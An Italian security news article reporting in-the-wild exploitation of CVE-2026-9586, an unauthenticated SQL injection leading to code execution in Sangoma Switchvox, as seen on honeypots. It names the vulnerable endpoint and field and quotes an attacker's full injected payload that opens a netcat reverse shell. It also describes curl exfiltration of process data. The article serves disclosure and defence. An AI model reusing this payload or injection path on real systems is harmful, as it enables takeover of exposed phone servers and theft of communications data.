Honeypot conferma exploitation attiva di Sangoma Switchvox con RCE non

Il 30 agosto 2026 un attaccante con IP 176.65.148.184 ha colpito multipli honeypot Defused Cyber con payload validi contro Sangoma Switchvox, confermando che CVE-2026-9586 è attivamente sfruttato in-the-wild. La vulnerabilità, una SQL injection non autenticata che conduce a esecuzione remota di codice, interessa un endpoint HTTP per notifiche telefoniche Polycom che processa XML senza validare il campo PhoneIP. Circa 4.000 dispositivi Switchvox rimangono esposti su Internet, prevalentemente negli Stati Uniti, secondo rilevazioni Shodan citate dalla fonte.

Da audit proattivo a osservazione diretta: la catena di CVE-2026-9586

Horizon3 ha identificato 12 vulnerabilità distinte in Switchvox durante un audit iniziato nei primi mesi del 2026. CVE-2026-9586 emerge come la più impattante: un endpoint HTTP non autenticato, /pa, progettato per notifiche telefoniche Polycom, diviene veicolo di compromissione completa del sistema.

Il percorso tecnico è lineare e letale. Il modulo PhoneAppsHandler.pm riceve dati POST, valida solo la presenza del tag radice <PolycomIPPhone>, quindi estrae il campo PhoneIP dall'XML. Questo valore viene concatenato direttamente in una stringa SQL senza sanitizzazione né parametrizzazione. La query viene eseguita come PostgreSQL superuser, aprendo la strada a COPY TO PROGRAM per lanciare comandi di sistema.

Security Risk Advisors ha indipendentemente riportato le stesse issues l'11 maggio 2026, confermando la convergenza di risultati tra ricercatori. La timeline di disclosure coordinata mostra: report a Sangoma il 10 aprile 2026, riconoscimento vendor lo stesso giorno, patch pre-release il 21 aprile, rilascio pubblico 8.4.0.2 il 14 luglio 2026.

Payload osservati: da reverse shell a ricognizione in minuti

I log db-quirks.log dell'honeypot Defused Cyber documentano la sequenza operativa dell'attaccante. Il payload iniziale sfrutta COPY TO PROGRAM per stabilire una reverse shell via netcat:

"SQL: SELECT proposed_extension FROM auto_phone_config WHERE ip_address = '10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash > /tmp/0d012120ab00297d.txt 2>&1; chmod 644 /tmp/0d012120ab00297d.txt'--' AND config_state = 'configured'"

— Horizon3, log db-quirks.dat da honeypot Defused Cyber

Il successivo payload esfiltra dati di processo: l'attaccante esegue top, incanala l'output in base64, e lo trasferisce via curl verso un server esterno. La rapidità della transizione da accesso iniziale a ricognizione sistematica — pochi minuti tra i due stadi — indica operatore con tooling preparato, non sperimentazione casuale.

L'IP 176.65.148.184 appare su multipli honeypot in rapida successione, pattern che la fonte interpreta come scansione sistematica piuttosto che targeting mirato. Horizon3 afferma che "given the quick succession of exploit attempts across multiple honeypots from the same source IP, we believe that it is likely that most internet exposed Switchvox instances will be or have already been targeted".

NVD conferma versione affetta e fix, non il CVSS

Il record NVD per CVE-2026-9586 conferma Sangoma Switchvox SMB Edition versione 8.3 (104997) come vulnerabile, con risoluzione in 8.4.0.2. Il vettore di attacco è classificato come SQL injection non autenticata. Il dossier non riporta un punteggio CVSS numerico esplicito dal record NVD fornito: il dato rimane non disponibile nel materiale a disposizione della redazione.

Il contesto più ampio posiziona CVE-2026-9586 in un ecosistema già sotto pressione. CISA KEV catalog include precedenti vulnerabilità Sangoma/FreePBX, segnalando pattern di targeting attivo della filiera. Le fonti NVD citate nel dossier — CVE-2025-57819 e CVE-2025-64328 — documentano questo trend storico, anche se non coinvolgono direttamente Switchvox.

Horizon3 ha osservato exploitation attempts in-the-wild: la transizione da vulnerabilità teorica a compromissione documentata richiede meno di un mese e mezzo dal rilascio pubblico della patch. Questa compressione temporale è coerente con l'interesse dimostrato per l'ecosistema Sangoma nel primo semestre 2026.

Perché è importante

Il brief non specifica misure correttive dettagliate oltre all'aggiornamento a 8.4.0.2. La fonte non documenta indicatori di compromissione aggiuntivi rispetto ai log db-quirks.dat già citati. Non emerge se Sangoma abbia rilasciato bollettini di sicurezza separati o strumenti di scanning per amministratori.

Il dossier non chiarisce se CVE-2026-9586 sia stato aggiunto al CISA KEV catalog al momento della stesura. L'entità operativa dietro IP 176.65.148.184 non è attribuita: nessuna sovrapposizione infrastrutturale con campagne documentate precedenti emerge dai dati disponibili. Il scope delle altre 11 vulnerabilità Switchvox riportate da Horizon3 non è dettagliato nel materiale fornito.

Switchvox on-premises serve infrastrutture critiche: call center, healthcare, finance. La compromissione di questi sistemi espone non solo i server ma i metadati e potenzialmente i contenuti delle comunicazioni vocali. La fonte non specifica la natura dei dati esfiltrati oltre ai processi di sistema catturati da top.

Lettura: quando il patching VoIP diviene questione di ore

La catena di CVE-2026-9586 illustra un pattern che i team di infrastruttura voce-on-premises hanno imparato a temere: un endpoint dimenticato, pensato per compatibilità hardware telefonico, che espone il database di gestione senza autenticazione. La superuser PostgreSQL non è una configurazione anomala in questi prodotti — è la norma per gestire estensioni e provisioning — ma diviene catastrofica quando il confine tra applicazione e database collassa in una singola concatenazione di stringhe.

L'honeypot ha funzionato da trigger di allarme, non da barriera. Il valore reale di questa ricerca sta nella dimostrazione che exploitation segue disclosure con intervalli misurabili in settimane, non mesi, per prodotti con superficie di attacco ben definita e popolazione esposta quantificabile. Per l'ecosistema Sangoma, già martoriato da CVE precedenti inserite nel catalogo CISA, CVE-2026-9586 rappresenta un nuovo capitolo di un libro che sembra non chiudersi.

Fonti

• https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/
• https://nvd.nist.gov/vuln/detail/cve-2025-57819
• https://nvd.nist.gov/vuln/detail/cve-2025-64328
• https://nvd.nist.gov/vuln/detail/cve-2026-9586
• https://www.cisa.gov/known-exploited-vulnerabilities-catalog
• https://sangoma.com/products/communications-platform/on-premises/

Le informazioni sono basate sulla fonte citata e aggiornate al momento della pubblicazione.

Fonti